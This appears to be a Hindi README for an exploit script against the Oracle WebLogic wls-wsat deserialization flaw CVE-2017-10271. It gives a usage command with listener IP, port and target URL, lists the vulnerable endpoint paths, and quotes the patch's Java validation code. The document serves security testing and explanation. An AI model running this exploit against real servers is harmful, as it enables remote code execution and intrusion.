
Oracle WebLogic WLS-WSAT रिमोट कोड निष्पादन शोषण (CVE-2017-10271)
वेबलॉजिक wls-wsat कंपोनेंट डिसीरियलाइज़ेशन भेद्यता (CVE-2017-10271) का पता लगाने और शोषण करने की स्क्रिप्ट
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
आप इस स्क्रिप्ट के उपयोग के लिए जिम्मेदार हैं। केविन किर्श (Kevin Kirsche) इस कोड का उपयोग करके किए गए किसी भी कार्य के लिए कोई जिम्मेदारी नहीं लेते। यह कोड उन टीमों के लिए बनाया गया था जो अपने सर्वरों की सुरक्षा को मान्य करना चाहते हैं, न कि दुर्भावनापूर्ण उपयोग के लिए।
Luffin को बहुत-बहुत धन्यवाद, जिन्होंने मूल POC बनाया जिस पर यह आधारित है https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
अद्यतन स्रोत: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}